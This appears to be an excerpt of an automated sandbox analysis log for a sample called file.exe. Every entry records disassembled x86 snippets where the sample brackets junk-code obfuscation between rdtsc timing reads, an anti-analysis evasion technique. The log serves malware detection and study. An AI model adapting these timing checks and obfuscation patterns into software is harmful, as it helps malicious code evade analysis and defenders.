Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F5A3 second address: 72F5A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F9CF second address: 72F9D9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FB30 second address: 72FB41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0160DBD2B6h 0x0000000a jl 00007F0160DBD2B6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FE1E second address: 72FE22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FE22 second address: 72FE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0160DBD2B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F0160DBD2C2h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FF75 second address: 72FF86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F0160DEF326h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730C96 second address: 730C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730C9A second address: 730CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pushad 0x0000000b jmp 00007F0160DEF334h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730F93 second address: 730F99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730F99 second address: 730F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73416A second address: 734170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734170 second address: 734174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734174 second address: 734178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7347E7 second address: 7347ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7348F8 second address: 7348FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BFF0 second address: 73BFFA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0160DEF326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BFFA second address: 73C015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DBD2C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C015 second address: 73C019 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C56A second address: 73C572 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FB39 second address: 73FB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0160DEF326h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FB4D second address: 73FB52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FCE3 second address: 73FCE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FDB1 second address: 73FDB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FE7A second address: 73FEA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF331h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0160DEF333h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FFFF second address: 740008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740605 second address: 74060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74060B second address: 74060F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740695 second address: 7406B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F0160DEF330h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7406B2 second address: 7406C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DBD2BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740753 second address: 740759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740840 second address: 74084A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0160DBD2BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740924 second address: 74092A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74092A second address: 74092E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74092E second address: 740932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741137 second address: 74113B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742BBF second address: 742BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742BC3 second address: 742BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741A33 second address: 741A37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7432B8 second address: 7432C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0160DBD2B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7453DB second address: 7453F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DEF332h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743BDA second address: 743BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7453F1 second address: 745427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF32Ah 0x00000007 jmp 00007F0160DEF332h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 pushad 0x0000001a jng 00007F0160DEF326h 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745427 second address: 745439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0160DBD2BBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745439 second address: 74543D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74543D second address: 74544F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c ja 00007F0160DBD2B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74544F second address: 74545C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745A57 second address: 745AD7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0160DBD2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007F0160DBD2B6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F0160DBD2B8h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 movzx esi, bx 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F0160DBD2B8h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 mov di, 003Fh 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F0160DBD2C9h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745AD7 second address: 745AE5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745AE5 second address: 745AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746337 second address: 74636B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0160DEF326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0160DEF32Dh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0160DEF339h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7470C6 second address: 7470CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746E5E second address: 746E64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7470CA second address: 7470D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746E64 second address: 746E6E instructions: 0x00000000 rdtsc 0x00000002 je 00007F0160DEF32Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7470D0 second address: 747154 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F0160DBD2B8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007F0160DBD2C7h 0x0000002c stc 0x0000002d push 00000000h 0x0000002f jo 00007F0160DBD2C2h 0x00000035 jmp 00007F0160DBD2BCh 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007F0160DBD2B8h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 0000001Ah 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 xchg eax, ebx 0x00000057 pushad 0x00000058 push edi 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747C3B second address: 747C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747C41 second address: 747C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747C45 second address: 747C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D197Ch], edx 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 mov edx, 07C8D208h 0x00000017 adc bx, C4FAh 0x0000001c popad 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+1247E97Ch], eax 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 jmp 00007F0160DEF336h 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747C85 second address: 747CA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F0160DBD2C0h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7479AA second address: 7479B4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0160DEF326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D06A second address: 74D06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D06E second address: 74D0BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F0160DEF328h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov di, bx 0x00000027 push 00000000h 0x00000029 xor ebx, dword ptr [ebp+122D1BEAh] 0x0000002f push 00000000h 0x00000031 xor dword ptr [ebp+1247E971h], edi 0x00000037 mov ebx, ecx 0x00000039 push eax 0x0000003a pushad 0x0000003b push edx 0x0000003c jne 00007F0160DEF326h 0x00000042 pop edx 0x00000043 pushad 0x00000044 push ebx 0x00000045 pop ebx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7483BE second address: 7483DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E0F9 second address: 74E0FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E0FF second address: 74E103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E103 second address: 74E17C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0160DEF326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+1245781Ah], edx 0x00000015 push 00000000h 0x00000017 jmp 00007F0160DEF32Ch 0x0000001c jmp 00007F0160DEF332h 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007F0160DEF328h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d mov dword ptr [ebp+12456059h], edx 0x00000043 jmp 00007F0160DEF32Dh 0x00000048 xchg eax, esi 0x00000049 push edi 0x0000004a jl 00007F0160DEF32Ch 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752175 second address: 752193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F0160DBD2C2h 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752193 second address: 752197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752197 second address: 7521EE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0160DBD2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c xor dword ptr [ebp+1248039Dh], eax 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 mov dword ptr [ebp+1247E9FBh], edi 0x0000001b pop ebx 0x0000001c xor dword ptr [ebp+122D1DE7h], eax 0x00000022 push 00000000h 0x00000024 mov ebx, dword ptr [ebp+122D187Dh] 0x0000002a xchg eax, esi 0x0000002b jmp 00007F0160DBD2C3h 0x00000030 push eax 0x00000031 pushad 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 pop edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F0160DBD2C1h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7521EE second address: 7521F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753244 second address: 753298 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0160DBD2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D1A9Dh], edi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F0160DBD2B8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov ebx, dword ptr [ebp+122D1BFAh] 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 js 00007F0160DBD2BBh 0x0000003f mov edi, 605219C0h 0x00000044 pop edi 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 pushad 0x0000004a popad 0x0000004b pop eax 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74974F second address: 749753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7560C1 second address: 7560C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D226 second address: 74D235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F373 second address: 74F385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 js 00007F0160DBD2D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A136 second address: 75A1B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0160DEF32Eh 0x00000008 jnp 00007F0160DEF326h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007F0160DEF332h 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F0160DEF328h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push eax 0x00000033 pop edi 0x00000034 push 00000000h 0x00000036 mov ebx, dword ptr [ebp+122D369Fh] 0x0000003c push 00000000h 0x0000003e jnl 00007F0160DEF32Ah 0x00000044 adc edi, 18A768D3h 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F0160DEF330h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A1B3 second address: 75A1CA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0160DBD2BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75238F second address: 7523B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F0160DEF326h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F0160DEF33Bh 0x00000015 jmp 00007F0160DEF335h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7523B9 second address: 7523CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DBD2C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AF97 second address: 75AFB1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0160DEF328h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0160DEF32Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751488 second address: 75148D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7544B2 second address: 7544B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7544B6 second address: 7544DA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0160DBD2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e jmp 00007F0160DBD2C0h 0x00000013 pop edi 0x00000014 pushad 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DEA1 second address: 75DEB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0160DEF332h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
